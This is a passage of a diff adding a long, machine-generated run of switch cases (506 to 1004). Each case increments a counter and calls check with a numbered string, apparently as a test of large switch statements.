+ case 506: if (n[506]++ > 0) check ('a string 506'); break;
+ case 507: if (n[507]++ > 0) check ('a string 507'); break;
+ case 508: if (n[508]++ > 0) check ('a string 508'); break;
+ case 509: if (n[509]++ > 0) check ('a string 509'); break;
+ case 510: if (n[510]++ > 0) check ('a string 510'); break;
+ case 511: if (n[511]++ > 0) check ('a string 511'); break;
+ case 512: if (n[512]++ > 0) check ('a string 512'); break;
+ case 513: if (n[513]++ > 0) check ('a string 513'); break;
+ case 514: if (n[514]++ > 0) check ('a string 514'); break;
+ case 515: if (n[515]++ > 0) check ('a string 515'); break;
+ case 516: if (n[516]++ > 0) check ('a string 516'); break;
+ case 517: if (n[517]++ > 0) check ('a string 517'); break;
+ case 518: if (n[518]++ > 0) check ('a string 518'); break;
+ case 519: if (n[519]++ > 0) check ('a string 519'); break;
+ case 520: if (n[520]++ > 0) check ('a string 520'); break;
+ case 521: if (n[521]++ > 0) check ('a string 521'); break;
+ case 522: if (n[522]++ > 0) check ('a string 522'); break;
+ case 523: if (n[523]++ > 0) check ('a string 523'); break;
+ case 524: if (n[524]++ > 0) check ('a string 524'); break;
+ case 525: if (n[525]++ > 0) check ('a string 525'); break;
+ case 526: if (n[526]++ > 0) check ('a string 526'); break;
+ case 527: if (n[527]++ > 0) check ('a string 527'); break;
+ case 528: if (n[528]++ > 0) check ('a string 528'); break;
+ case 529: if (n[529]++ > 0) check ('a string 529'); break;
+ case 530: if (n[530]++ > 0) check ('a string 530'); break;
+ case 531: if (n[531]++ > 0) check ('a string 531'); break;
+ case 532: if (n[532]++ > 0) check ('a string 532'); break;
+ case 533: if (n[533]++ > 0) check ('a string 533'); break;
+ case 534: if (n[534]++ > 0) check ('a string 534'); break;
+ case 535: if (n[535]++ > 0) check ('a string 535'); break;
+ case 536: if (n[536]++ > 0) check ('a string 536'); break;
+ case 537: if (n[537]++ > 0) check ('a string 537'); break;
+ case 538: if (n[538]++ > 0) check ('a string 538'); break;
+ case 539: if (n[539]++ > 0) check ('a string 539'); break;
+ case 540: if (n[540]++ > 0) check ('a string 540'); break;
+ case 541: if (n[541]++ > 0) check ('a string 541'); break;
+ case 542: if (n[542]++ > 0) check ('a string 542'); break;
+ case 543: if (n[543]++ > 0) check ('a string 543'); break;
+ case 544: if (n[544]++ > 0) check ('a string 544'); break;
+ case 545: if (n[545]++ > 0) check ('a string 545'); break;
+ case 546: if (n[546]++ > 0) check ('a string 546'); break;
+ case 547: if (n[547]++ > 0) check ('a string 547'); break;
+ case 548: if (n[548]++ > 0) check ('a string 548'); break;
+ case 549: if (n[549]++ > 0) check ('a string 549'); break;
+ case 550: if (n[550]++ > 0) check ('a string 550'); break;
+ case 551: if (n[551]++ > 0) check ('a string 551'); break;
+ case 552: if (n[552]++ > 0) check ('a string 552'); break;
+ case 553: if (n[553]++ > 0) check ('a string 553'); break;
+ case 554: if (n[554]++ > 0) check ('a string 554'); break;
+ case 555: if (n[555]++ > 0) check ('a string 555'); break;
+ case 556: if (n[556]++ > 0) check ('a string 556'); break;
+ case 557: if (n[557]++ > 0) check ('a string 557'); break;
+ case 558: if (n[558]++ > 0) check ('a string 558'); break;
+ case 559: if (n[559]++ > 0) check ('a string 559'); break;
+ case 560: if (n[560]++ > 0) check ('a string 560'); break;
+ case 561: if (n[561]++ > 0) check ('a string 561'); break;
+ case 562: if (n[562]++ > 0) check ('a string 562'); break;
+ case 563: if (n[563]++ > 0) check ('a string 563'); break;
+ case 564: if (n[564]++ > 0) check ('a string 564'); break;
+ case 565: if (n[565]++ > 0) check ('a string 565'); break;
+ case 566: if (n[566]++ > 0) check ('a string 566'); break;
+ case 567: if (n[567]++ > 0) check ('a string 567'); break;
+ case 568: if (n[568]++ > 0) check ('a string 568'); break;
+ case 569: if (n[569]++ > 0) check ('a string 569'); break;
+ case 570: if (n[570]++ > 0) check ('a string 570'); break;
+ case 571: if (n[571]++ > 0) check ('a string 571'); break;
+ case 572: if (n[572]++ > 0) check ('a string 572'); break;
+ case 573: if (n[573]++ > 0) check ('a string 573'); break;
+ case 574: if (n[574]++ > 0) check ('a string 574'); break;
+ case 575: if (n[575]++ > 0) check ('a string 575'); break;
+ case 576: if (n[576]++ > 0) check ('a string 576'); break;
+ case 577: if (n[577]++ > 0) check ('a string 577'); break;
+ case 578: if (n[578]++ > 0) check ('a string 578'); break;
+ case 579: if (n[579]++ > 0) check ('a string 579'); break;
+ case 580: if (n[580]++ > 0) check ('a string 580'); break;
+ case 581: if (n[581]++ > 0) check ('a string 581'); break;
+ case 582: if (n[582]++ > 0) check ('a string 582'); break;
+ case 583: if (n[583]++ > 0) check ('a string 583'); break;
+ case 584: if (n[584]++ > 0) check ('a string 584'); break;
+ case 585: if (n[585]++ > 0) check ('a string 585'); break;
+ case 586: if (n[586]++ > 0) check ('a string 586'); break;
+ case 587: if (n[587]++ > 0) check ('a string 587'); break;
+ case 588: if (n[588]++ > 0) check ('a string 588'); break;
+ case 589: if (n[589]++ > 0) check ('a string 589'); break;
+ case 590: if (n[590]++ > 0) check ('a string 590'); break;
+ case 591: if (n[591]++ > 0) check ('a string 591'); break;
+ case 592: if (n[592]++ > 0) check ('a string 592'); break;
+ case 593: if (n[593]++ > 0) check ('a string 593'); break;
+ case 594: if (n[594]++ > 0) check ('a string 594'); break;
+ case 595: if (n[595]++ > 0) check ('a string 595'); break;
+ case 596: if (n[596]++ > 0) check ('a string 596'); break;
+ case 597: if (n[597]++ > 0) check ('a string 597'); break;
+ case 598: if (n[598]++ > 0) check ('a string 598'); break;
+ case 599: if (n[599]++ > 0) check ('a string 599'); break;
+ case 600: if (n[600]++ > 0) check ('a string 600'); break;
+ case 601: if (n[601]++ > 0) check ('a string 601'); break;
+ case 602: if (n[602]++ > 0) check ('a string 602'); break;
+ case 603: if (n[603]++ > 0) check ('a string 603'); break;
+ case 604: if (n[604]++ > 0) check ('a string 604'); break;
+ case 605: if (n[605]++ > 0) check ('a string 605'); break;
+ case 606: if (n[606]++ > 0) check ('a string 606'); break;
+ case 607: if (n[607]++ > 0) check ('a string 607'); break;
+ case 608: if (n[608]++ > 0) check ('a string 608'); break;
+ case 609: if (n[609]++ > 0) check ('a string 609'); break;
+ case 610: if (n[610]++ > 0) check ('a string 610'); break;
+ case 611: if (n[611]++ > 0) check ('a string 611'); break;
+ case 612: if (n[612]++ > 0) check ('a string 612'); break;
+ case 613: if (n[613]++ > 0) check ('a string 613'); break;
+ case 614: if (n[614]++ > 0) check ('a string 614'); break;
+ case 615: if (n[615]++ > 0) check ('a string 615'); break;
+ case 616: if (n[616]++ > 0) check ('a string 616'); break;
+ case 617: if (n[617]++ > 0) check ('a string 617'); break;
+ case 618: if (n[618]++ > 0) check ('a string 618'); break;
+ case 619: if (n[619]++ > 0) check ('a string 619'); break;
+ case 620: if (n[620]++ > 0) check ('a string 620'); break;
+ case 621: if (n[621]++ > 0) check ('a string 621'); break;
+ case 622: if (n[622]++ > 0) check ('a string 622'); break;
+ case 623: if (n[623]++ > 0) check ('a string 623'); break;
+ case 624: if (n[624]++ > 0) check ('a string 624'); break;
+ case 625: if (n[625]++ > 0) check ('a string 625'); break;
+ case 626: if (n[626]++ > 0) check ('a string 626'); break;
+ case 627: if (n[627]++ > 0) check ('a string 627'); break;
+ case 628: if (n[628]++ > 0) check ('a string 628'); break;
+ case 629: if (n[629]++ > 0) check ('a string 629'); break;
+ case 630: if (n[630]++ > 0) check ('a string 630'); break;
+ case 631: if (n[631]++ > 0) check ('a string 631'); break;
+ case 632: if (n[632]++ > 0) check ('a string 632'); break;
+ case 633: if (n[633]++ > 0) check ('a string 633'); break;
+ case 634: if (n[634]++ > 0) check ('a string 634'); break;
+ case 635: if (n[635]++ > 0) check ('a string 635'); break;
+ case 636: if (n[636]++ > 0) check ('a string 636'); break;
+ case 637: if (n[637]++ > 0) check ('a string 637'); break;
+ case 638: if (n[638]++ > 0) check ('a string 638'); break;
+ case 639: if (n[639]++ > 0) check ('a string 639'); break;
+ case 640: if (n[640]++ > 0) check ('a string 640'); break;
+ case 641: if (n[641]++ > 0) check ('a string 641'); break;
+ case 642: if (n[642]++ > 0) check ('a string 642'); break;
+ case 643: if (n[643]++ > 0) check ('a string 643'); break;
+ case 644: if (n[644]++ > 0) check ('a string 644'); break;
+ case 645: if (n[645]++ > 0) check ('a string 645'); break;
+ case 646: if (n[646]++ > 0) check ('a string 646'); break;
+ case 647: if (n[647]++ > 0) check ('a string 647'); break;
+ case 648: if (n[648]++ > 0) check ('a string 648'); break;
+ case 649: if (n[649]++ > 0) check ('a string 649'); break;
+ case 650: if (n[650]++ > 0) check ('a string 650'); break;
+ case 651: if (n[651]++ > 0) check ('a string 651'); break;
+ case 652: if (n[652]++ > 0) check ('a string 652'); break;
+ case 653: if (n[653]++ > 0) check ('a string 653'); break;
+ case 654: if (n[654]++ > 0) check ('a string 654'); break;
+ case 655: if (n[655]++ > 0) check ('a string 655'); break;
+ case 656: if (n[656]++ > 0) check ('a string 656'); break;
+ case 657: if (n[657]++ > 0) check ('a string 657'); break;
+ case 658: if (n[658]++ > 0) check ('a string 658'); break;
+ case 659: if (n[659]++ > 0) check ('a string 659'); break;
+ case 660: if (n[660]++ > 0) check ('a string 660'); break;
+ case 661: if (n[661]++ > 0) check ('a string 661'); break;
+ case 662: if (n[662]++ > 0) check ('a string 662'); break;
+ case 663: if (n[663]++ > 0) check ('a string 663'); break;
+ case 664: if (n[664]++ > 0) check ('a string 664'); break;
+ case 665: if (n[665]++ > 0) check ('a string 665'); break;
+ case 666: if (n[666]++ > 0) check ('a string 666'); break;
+ case 667: if (n[667]++ > 0) check ('a string 667'); break;
+ case 668: if (n[668]++ > 0) check ('a string 668'); break;
+ case 669: if (n[669]++ > 0) check ('a string 669'); break;
+ case 670: if (n[670]++ > 0) check ('a string 670'); break;
+ case 671: if (n[671]++ > 0) check ('a string 671'); break;
+ case 672: if (n[672]++ > 0) check ('a string 672'); break;
+ case 673: if (n[673]++ > 0) check ('a string 673'); break;
+ case 674: if (n[674]++ > 0) check ('a string 674'); break;
+ case 675: if (n[675]++ > 0) check ('a string 675'); break;
+ case 676: if (n[676]++ > 0) check ('a string 676'); break;
+ case 677: if (n[677]++ > 0) check ('a string 677'); break;
+ case 678: if (n[678]++ > 0) check ('a string 678'); break;
+ case 679: if (n[679]++ > 0) check ('a string 679'); break;
+ case 680: if (n[680]++ > 0) check ('a string 680'); break;
+ case 681: if (n[681]++ > 0) check ('a string 681'); break;
+ case 682: if (n[682]++ > 0) check ('a string 682'); break;
+ case 683: if (n[683]++ > 0) check ('a string 683'); break;
+ case 684: if (n[684]++ > 0) check ('a string 684'); break;
+ case 685: if (n[685]++ > 0) check ('a string 685'); break;
+ case 686: if (n[686]++ > 0) check ('a string 686'); break;
+ case 687: if (n[687]++ > 0) check ('a string 687'); break;
+ case 688: if (n[688]++ > 0) check ('a string 688'); break;
+ case 689: if (n[689]++ > 0) check ('a string 689'); break;
+ case 690: if (n[690]++ > 0) check ('a string 690'); break;
+ case 691: if (n[691]++ > 0) check ('a string 691'); break;
+ case 692: if (n[692]++ > 0) check ('a string 692'); break;
+ case 693: if (n[693]++ > 0) check ('a string 693'); break;
+ case 694: if (n[694]++ > 0) check ('a string 694'); break;
+ case 695: if (n[695]++ > 0) check ('a string 695'); break;
+ case 696: if (n[696]++ > 0) check ('a string 696'); break;
+ case 697: if (n[697]++ > 0) check ('a string 697'); break;
+ case 698: if (n[698]++ > 0) check ('a string 698'); break;
+ case 699: if (n[699]++ > 0) check ('a string 699'); break;
+ case 700: if (n[700]++ > 0) check ('a string 700'); break;
+ case 701: if (n[701]++ > 0) check ('a string 701'); break;
+ case 702: if (n[702]++ > 0) check ('a string 702'); break;
+ case 703: if (n[703]++ > 0) check ('a string 703'); break;
+ case 704: if (n[704]++ > 0) check ('a string 704'); break;
+ case 705: if (n[705]++ > 0) check ('a string 705'); break;
+ case 706: if (n[706]++ > 0) check ('a string 706'); break;
+ case 707: if (n[707]++ > 0) check ('a string 707'); break;
+ case 708: if (n[708]++ > 0) check ('a string 708'); break;
+ case 709: if (n[709]++ > 0) check ('a string 709'); break;
+ case 710: if (n[710]++ > 0) check ('a string 710'); break;
+ case 711: if (n[711]++ > 0) check ('a string 711'); break;
+ case 712: if (n[712]++ > 0) check ('a string 712'); break;
+ case 713: if (n[713]++ > 0) check ('a string 713'); break;
+ case 714: if (n[714]++ > 0) check ('a string 714'); break;
+ case 715: if (n[715]++ > 0) check ('a string 715'); break;
+ case 716: if (n[716]++ > 0) check ('a string 716'); break;
+ case 717: if (n[717]++ > 0) check ('a string 717'); break;
+ case 718: if (n[718]++ > 0) check ('a string 718'); break;
+ case 719: if (n[719]++ > 0) check ('a string 719'); break;
+ case 720: if (n[720]++ > 0) check ('a string 720'); break;
+ case 721: if (n[721]++ > 0) check ('a string 721'); break;
+ case 722: if (n[722]++ > 0) check ('a string 722'); break;
+ case 723: if (n[723]++ > 0) check ('a string 723'); break;
+ case 724: if (n[724]++ > 0) check ('a string 724'); break;
+ case 725: if (n[725]++ > 0) check ('a string 725'); break;
+ case 726: if (n[726]++ > 0) check ('a string 726'); break;
+ case 727: if (n[727]++ > 0) check ('a string 727'); break;
+ case 728: if (n[728]++ > 0) check ('a string 728'); break;
+ case 729: if (n[729]++ > 0) check ('a string 729'); break;
+ case 730: if (n[730]++ > 0) check ('a string 730'); break;
+ case 731: if (n[731]++ > 0) check ('a string 731'); break;
+ case 732: if (n[732]++ > 0) check ('a string 732'); break;
+ case 733: if (n[733]++ > 0) check ('a string 733'); break;
+ case 734: if (n[734]++ > 0) check ('a string 734'); break;
+ case 735: if (n[735]++ > 0) check ('a string 735'); break;
+ case 736: if (n[736]++ > 0) check ('a string 736'); break;
+ case 737: if (n[737]++ > 0) check ('a string 737'); break;
+ case 738: if (n[738]++ > 0) check ('a string 738'); break;
+ case 739: if (n[739]++ > 0) check ('a string 739'); break;
+ case 740: if (n[740]++ > 0) check ('a string 740'); break;
+ case 741: if (n[741]++ > 0) check ('a string 741'); break;
+ case 742: if (n[742]++ > 0) check ('a string 742'); break;
+ case 743: if (n[743]++ > 0) check ('a string 743'); break;
+ case 744: if (n[744]++ > 0) check ('a string 744'); break;
+ case 745: if (n[745]++ > 0) check ('a string 745'); break;
+ case 746: if (n[746]++ > 0) check ('a string 746'); break;
+ case 747: if (n[747]++ > 0) check ('a string 747'); break;
+ case 748: if (n[748]++ > 0) check ('a string 748'); break;
+ case 749: if (n[749]++ > 0) check ('a string 749'); break;
+ case 750: if (n[750]++ > 0) check ('a string 750'); break;
+ case 751: if (n[751]++ > 0) check ('a string 751'); break;
+ case 752: if (n[752]++ > 0) check ('a string 752'); break;
+ case 753: if (n[753]++ > 0) check ('a string 753'); break;
+ case 754: if (n[754]++ > 0) check ('a string 754'); break;
+ case 755: if (n[755]++ > 0) check ('a string 755'); break;
+ case 756: if (n[756]++ > 0) check ('a string 756'); break;
+ case 757: if (n[757]++ > 0) check ('a string 757'); break;
+ case 758: if (n[758]++ > 0) check ('a string 758'); break;
+ case 759: if (n[759]++ > 0) check ('a string 759'); break;
+ case 760: if (n[760]++ > 0) check ('a string 760'); break;
+ case 761: if (n[761]++ > 0) check ('a string 761'); break;
+ case 762: if (n[762]++ > 0) check ('a string 762'); break;
+ case 763: if (n[763]++ > 0) check ('a string 763'); break;
+ case 764: if (n[764]++ > 0) check ('a string 764'); break;
+ case 765: if (n[765]++ > 0) check ('a string 765'); break;
+ case 766: if (n[766]++ > 0) check ('a string 766'); break;
+ case 767: if (n[767]++ > 0) check ('a string 767'); break;
+ case 768: if (n[768]++ > 0) check ('a string 768'); break;
+ case 769: if (n[769]++ > 0) check ('a string 769'); break;
+ case 770: if (n[770]++ > 0) check ('a string 770'); break;
+ case 771: if (n[771]++ > 0) check ('a string 771'); break;
+ case 772: if (n[772]++ > 0) check ('a string 772'); break;
+ case 773: if (n[773]++ > 0) check ('a string 773'); break;
+ case 774: if (n[774]++ > 0) check ('a string 774'); break;
+ case 775: if (n[775]++ > 0) check ('a string 775'); break;
+ case 776: if (n[776]++ > 0) check ('a string 776'); break;
+ case 777: if (n[777]++ > 0) check ('a string 777'); break;
+ case 778: if (n[778]++ > 0) check ('a string 778'); break;
+ case 779: if (n[779]++ > 0) check ('a string 779'); break;
+ case 780: if (n[780]++ > 0) check ('a string 780'); break;
+ case 781: if (n[781]++ > 0) check ('a string 781'); break;
+ case 782: if (n[782]++ > 0) check ('a string 782'); break;
+ case 783: if (n[783]++ > 0) check ('a string 783'); break;
+ case 784: if (n[784]++ > 0) check ('a string 784'); break;
+ case 785: if (n[785]++ > 0) check ('a string 785'); break;
+ case 786: if (n[786]++ > 0) check ('a string 786'); break;
+ case 787: if (n[787]++ > 0) check ('a string 787'); break;
+ case 788: if (n[788]++ > 0) check ('a string 788'); break;
+ case 789: if (n[789]++ > 0) check ('a string 789'); break;
+ case 790: if (n[790]++ > 0) check ('a string 790'); break;
+ case 791: if (n[791]++ > 0) check ('a string 791'); break;
+ case 792: if (n[792]++ > 0) check ('a string 792'); break;
+ case 793: if (n[793]++ > 0) check ('a string 793'); break;
+ case 794: if (n[794]++ > 0) check ('a string 794'); break;
+ case 795: if (n[795]++ > 0) check ('a string 795'); break;
+ case 796: if (n[796]++ > 0) check ('a string 796'); break;
+ case 797: if (n[797]++ > 0) check ('a string 797'); break;
+ case 798: if (n[798]++ > 0) check ('a string 798'); break;
+ case 799: if (n[799]++ > 0) check ('a string 799'); break;
+ case 800: if (n[800]++ > 0) check ('a string 800'); break;
+ case 801: if (n[801]++ > 0) check ('a string 801'); break;
+ case 802: if (n[802]++ > 0) check ('a string 802'); break;
+ case 803: if (n[803]++ > 0) check ('a string 803'); break;
+ case 804: if (n[804]++ > 0) check ('a string 804'); break;
+ case 805: if (n[805]++ > 0) check ('a string 805'); break;
+ case 806: if (n[806]++ > 0) check ('a string 806'); break;
+ case 807: if (n[807]++ > 0) check ('a string 807'); break;
+ case 808: if (n[808]++ > 0) check ('a string 808'); break;
+ case 809: if (n[809]++ > 0) check ('a string 809'); break;
+ case 810: if (n[810]++ > 0) check ('a string 810'); break;
+ case 811: if (n[811]++ > 0) check ('a string 811'); break;
+ case 812: if (n[812]++ > 0) check ('a string 812'); break;
+ case 813: if (n[813]++ > 0) check ('a string 813'); break;
+ case 814: if (n[814]++ > 0) check ('a string 814'); break;
+ case 815: if (n[815]++ > 0) check ('a string 815'); break;
+ case 816: if (n[816]++ > 0) check ('a string 816'); break;
+ case 817: if (n[817]++ > 0) check ('a string 817'); break;
+ case 818: if (n[818]++ > 0) check ('a string 818'); break;
+ case 819: if (n[819]++ > 0) check ('a string 819'); break;
+ case 820: if (n[820]++ > 0) check ('a string 820'); break;
+ case 821: if (n[821]++ > 0) check ('a string 821'); break;
+ case 822: if (n[822]++ > 0) check ('a string 822'); break;
+ case 823: if (n[823]++ > 0) check ('a string 823'); break;
+ case 824: if (n[824]++ > 0) check ('a string 824'); break;
+ case 825: if (n[825]++ > 0) check ('a string 825'); break;
+ case 826: if (n[826]++ > 0) check ('a string 826'); break;
+ case 827: if (n[827]++ > 0) check ('a string 827'); break;
+ case 828: if (n[828]++ > 0) check ('a string 828'); break;
+ case 829: if (n[829]++ > 0) check ('a string 829'); break;
+ case 830: if (n[830]++ > 0) check ('a string 830'); break;
+ case 831: if (n[831]++ > 0) check ('a string 831'); break;
+ case 832: if (n[832]++ > 0) check ('a string 832'); break;
+ case 833: if (n[833]++ > 0) check ('a string 833'); break;
+ case 834: if (n[834]++ > 0) check ('a string 834'); break;
+ case 835: if (n[835]++ > 0) check ('a string 835'); break;
+ case 836: if (n[836]++ > 0) check ('a string 836'); break;
+ case 837: if (n[837]++ > 0) check ('a string 837'); break;
+ case 838: if (n[838]++ > 0) check ('a string 838'); break;
+ case 839: if (n[839]++ > 0) check ('a string 839'); break;
+ case 840: if (n[840]++ > 0) check ('a string 840'); break;
+ case 841: if (n[841]++ > 0) check ('a string 841'); break;
+ case 842: if (n[842]++ > 0) check ('a string 842'); break;
+ case 843: if (n[843]++ > 0) check ('a string 843'); break;
+ case 844: if (n[844]++ > 0) check ('a string 844'); break;
+ case 845: if (n[845]++ > 0) check ('a string 845'); break;
+ case 846: if (n[846]++ > 0) check ('a string 846'); break;
+ case 847: if (n[847]++ > 0) check ('a string 847'); break;
+ case 848: if (n[848]++ > 0) check ('a string 848'); break;
+ case 849: if (n[849]++ > 0) check ('a string 849'); break;
+ case 850: if (n[850]++ > 0) check ('a string 850'); break;
+ case 851: if (n[851]++ > 0) check ('a string 851'); break;
+ case 852: if (n[852]++ > 0) check ('a string 852'); break;
+ case 853: if (n[853]++ > 0) check ('a string 853'); break;
+ case 854: if (n[854]++ > 0) check ('a string 854'); break;
+ case 855: if (n[855]++ > 0) check ('a string 855'); break;
+ case 856: if (n[856]++ > 0) check ('a string 856'); break;
+ case 857: if (n[857]++ > 0) check ('a string 857'); break;
+ case 858: if (n[858]++ > 0) check ('a string 858'); break;
+ case 859: if (n[859]++ > 0) check ('a string 859'); break;
+ case 860: if (n[860]++ > 0) check ('a string 860'); break;
+ case 861: if (n[861]++ > 0) check ('a string 861'); break;
+ case 862: if (n[862]++ > 0) check ('a string 862'); break;
+ case 863: if (n[863]++ > 0) check ('a string 863'); break;
+ case 864: if (n[864]++ > 0) check ('a string 864'); break;
+ case 865: if (n[865]++ > 0) check ('a string 865'); break;
+ case 866: if (n[866]++ > 0) check ('a string 866'); break;
+ case 867: if (n[867]++ > 0) check ('a string 867'); break;
+ case 868: if (n[868]++ > 0) check ('a string 868'); break;
+ case 869: if (n[869]++ > 0) check ('a string 869'); break;
+ case 870: if (n[870]++ > 0) check ('a string 870'); break;
+ case 871: if (n[871]++ > 0) check ('a string 871'); break;
+ case 872: if (n[872]++ > 0) check ('a string 872'); break;
+ case 873: if (n[873]++ > 0) check ('a string 873'); break;
+ case 874: if (n[874]++ > 0) check ('a string 874'); break;
+ case 875: if (n[875]++ > 0) check ('a string 875'); break;
+ case 876: if (n[876]++ > 0) check ('a string 876'); break;
+ case 877: if (n[877]++ > 0) check ('a string 877'); break;
+ case 878: if (n[878]++ > 0) check ('a string 878'); break;
+ case 879: if (n[879]++ > 0) check ('a string 879'); break;
+ case 880: if (n[880]++ > 0) check ('a string 880'); break;
+ case 881: if (n[881]++ > 0) check ('a string 881'); break;
+ case 882: if (n[882]++ > 0) check ('a string 882'); break;
+ case 883: if (n[883]++ > 0) check ('a string 883'); break;
+ case 884: if (n[884]++ > 0) check ('a string 884'); break;
+ case 885: if (n[885]++ > 0) check ('a string 885'); break;
+ case 886: if (n[886]++ > 0) check ('a string 886'); break;
+ case 887: if (n[887]++ > 0) check ('a string 887'); break;
+ case 888: if (n[888]++ > 0) check ('a string 888'); break;
+ case 889: if (n[889]++ > 0) check ('a string 889'); break;
+ case 890: if (n[890]++ > 0) check ('a string 890'); break;
+ case 891: if (n[891]++ > 0) check ('a string 891'); break;
+ case 892: if (n[892]++ > 0) check ('a string 892'); break;
+ case 893: if (n[893]++ > 0) check ('a string 893'); break;
+ case 894: if (n[894]++ > 0) check ('a string 894'); break;
+ case 895: if (n[895]++ > 0) check ('a string 895'); break;
+ case 896: if (n[896]++ > 0) check ('a string 896'); break;
+ case 897: if (n[897]++ > 0) check ('a string 897'); break;
+ case 898: if (n[898]++ > 0) check ('a string 898'); break;
+ case 899: if (n[899]++ > 0) check ('a string 899'); break;
+ case 900: if (n[900]++ > 0) check ('a string 900'); break;
+ case 901: if (n[901]++ > 0) check ('a string 901'); break;
+ case 902: if (n[902]++ > 0) check ('a string 902'); break;
+ case 903: if (n[903]++ > 0) check ('a string 903'); break;
+ case 904: if (n[904]++ > 0) check ('a string 904'); break;
+ case 905: if (n[905]++ > 0) check ('a string 905'); break;
+ case 906: if (n[906]++ > 0) check ('a string 906'); break;
+ case 907: if (n[907]++ > 0) check ('a string 907'); break;
+ case 908: if (n[908]++ > 0) check ('a string 908'); break;
+ case 909: if (n[909]++ > 0) check ('a string 909'); break;
+ case 910: if (n[910]++ > 0) check ('a string 910'); break;
+ case 911: if (n[911]++ > 0) check ('a string 911'); break;
+ case 912: if (n[912]++ > 0) check ('a string 912'); break;
+ case 913: if (n[913]++ > 0) check ('a string 913'); break;
+ case 914: if (n[914]++ > 0) check ('a string 914'); break;
+ case 915: if (n[915]++ > 0) check ('a string 915'); break;
+ case 916: if (n[916]++ > 0) check ('a string 916'); break;
+ case 917: if (n[917]++ > 0) check ('a string 917'); break;
+ case 918: if (n[918]++ > 0) check ('a string 918'); break;
+ case 919: if (n[919]++ > 0) check ('a string 919'); break;
+ case 920: if (n[920]++ > 0) check ('a string 920'); break;
+ case 921: if (n[921]++ > 0) check ('a string 921'); break;
+ case 922: if (n[922]++ > 0) check ('a string 922'); break;
+ case 923: if (n[923]++ > 0) check ('a string 923'); break;
+ case 924: if (n[924]++ > 0) check ('a string 924'); break;
+ case 925: if (n[925]++ > 0) check ('a string 925'); break;
+ case 926: if (n[926]++ > 0) check ('a string 926'); break;
+ case 927: if (n[927]++ > 0) check ('a string 927'); break;
+ case 928: if (n[928]++ > 0) check ('a string 928'); break;
+ case 929: if (n[929]++ > 0) check ('a string 929'); break;
+ case 930: if (n[930]++ > 0) check ('a string 930'); break;
+ case 931: if (n[931]++ > 0) check ('a string 931'); break;
+ case 932: if (n[932]++ > 0) check ('a string 932'); break;
+ case 933: if (n[933]++ > 0) check ('a string 933'); break;
+ case 934: if (n[934]++ > 0) check ('a string 934'); break;
+ case 935: if (n[935]++ > 0) check ('a string 935'); break;
+ case 936: if (n[936]++ > 0) check ('a string 936'); break;
+ case 937: if (n[937]++ > 0) check ('a string 937'); break;
+ case 938: if (n[938]++ > 0) check ('a string 938'); break;
+ case 939: if (n[939]++ > 0) check ('a string 939'); break;
+ case 940: if (n[940]++ > 0) check ('a string 940'); break;
+ case 941: if (n[941]++ > 0) check ('a string 941'); break;
+ case 942: if (n[942]++ > 0) check ('a string 942'); break;
+ case 943: if (n[943]++ > 0) check ('a string 943'); break;
+ case 944: if (n[944]++ > 0) check ('a string 944'); break;
+ case 945: if (n[945]++ > 0) check ('a string 945'); break;
+ case 946: if (n[946]++ > 0) check ('a string 946'); break;
+ case 947: if (n[947]++ > 0) check ('a string 947'); break;
+ case 948: if (n[948]++ > 0) check ('a string 948'); break;
+ case 949: if (n[949]++ > 0) check ('a string 949'); break;
+ case 950: if (n[950]++ > 0) check ('a string 950'); break;
+ case 951: if (n[951]++ > 0) check ('a string 951'); break;
+ case 952: if (n[952]++ > 0) check ('a string 952'); break;
+ case 953: if (n[953]++ > 0) check ('a string 953'); break;
+ case 954: if (n[954]++ > 0) check ('a string 954'); break;
+ case 955: if (n[955]++ > 0) check ('a string 955'); break;
+ case 956: if (n[956]++ > 0) check ('a string 956'); break;
+ case 957: if (n[957]++ > 0) check ('a string 957'); break;
+ case 958: if (n[958]++ > 0) check ('a string 958'); break;
+ case 959: if (n[959]++ > 0) check ('a string 959'); break;
+ case 960: if (n[960]++ > 0) check ('a string 960'); break;
+ case 961: if (n[961]++ > 0) check ('a string 961'); break;
+ case 962: if (n[962]++ > 0) check ('a string 962'); break;
+ case 963: if (n[963]++ > 0) check ('a string 963'); break;
+ case 964: if (n[964]++ > 0) check ('a string 964'); break;
+ case 965: if (n[965]++ > 0) check ('a string 965'); break;
+ case 966: if (n[966]++ > 0) check ('a string 966'); break;
+ case 967: if (n[967]++ > 0) check ('a string 967'); break;
+ case 968: if (n[968]++ > 0) check ('a string 968'); break;
+ case 969: if (n[969]++ > 0) check ('a string 969'); break;
+ case 970: if (n[970]++ > 0) check ('a string 970'); break;
+ case 971: if (n[971]++ > 0) check ('a string 971'); break;
+ case 972: if (n[972]++ > 0) check ('a string 972'); break;
+ case 973: if (n[973]++ > 0) check ('a string 973'); break;
+ case 974: if (n[974]++ > 0) check ('a string 974'); break;
+ case 975: if (n[975]++ > 0) check ('a string 975'); break;
+ case 976: if (n[976]++ > 0) check ('a string 976'); break;
+ case 977: if (n[977]++ > 0) check ('a string 977'); break;
+ case 978: if (n[978]++ > 0) check ('a string 978'); break;
+ case 979: if (n[979]++ > 0) check ('a string 979'); break;
+ case 980: if (n[980]++ > 0) check ('a string 980'); break;
+ case 981: if (n[981]++ > 0) check ('a string 981'); break;
+ case 982: if (n[982]++ > 0) check ('a string 982'); break;
+ case 983: if (n[983]++ > 0) check ('a string 983'); break;
+ case 984: if (n[984]++ > 0) check ('a string 984'); break;
+ case 985: if (n[985]++ > 0) check ('a string 985'); break;
+ case 986: if (n[986]++ > 0) check ('a string 986'); break;
+ case 987: if (n[987]++ > 0) check ('a string 987'); break;
+ case 988: if (n[988]++ > 0) check ('a string 988'); break;
+ case 989: if (n[989]++ > 0) check ('a string 989'); break;
+ case 990: if (n[990]++ > 0) check ('a string 990'); break;
+ case 991: if (n[991]++ > 0) check ('a string 991'); break;
+ case 992: if (n[992]++ > 0) check ('a string 992'); break;
+ case 993: if (n[993]++ > 0) check ('a string 993'); break;
+ case 994: if (n[994]++ > 0) check ('a string 994'); break;
+ case 995: if (n[995]++ > 0) check ('a string 995'); break;
+ case 996: if (n[996]++ > 0) check ('a string 996'); break;
+ case 997: if (n[997]++ > 0) check ('a string 997'); break;
+ case 998: if (n[998]++ > 0) check ('a string 998'); break;
+ case 999: if (n[999]++ > 0) check ('a string 999'); break;
+ case 1000: if (n[1000]++ > 0) check ('a string 1000'); break;
+ case 1001: if (n[1001]++ > 0) check ('a string 1001'); break;
+ case 1002: if (n[1002]++ > 0) check ('a string 1002'); break;
+ case 1003: if (n[1003]++ > 0) check ('a string 1003'); break;
+ case 1004: if (n[1004]++ > 0) check ('a string 1004'); break;
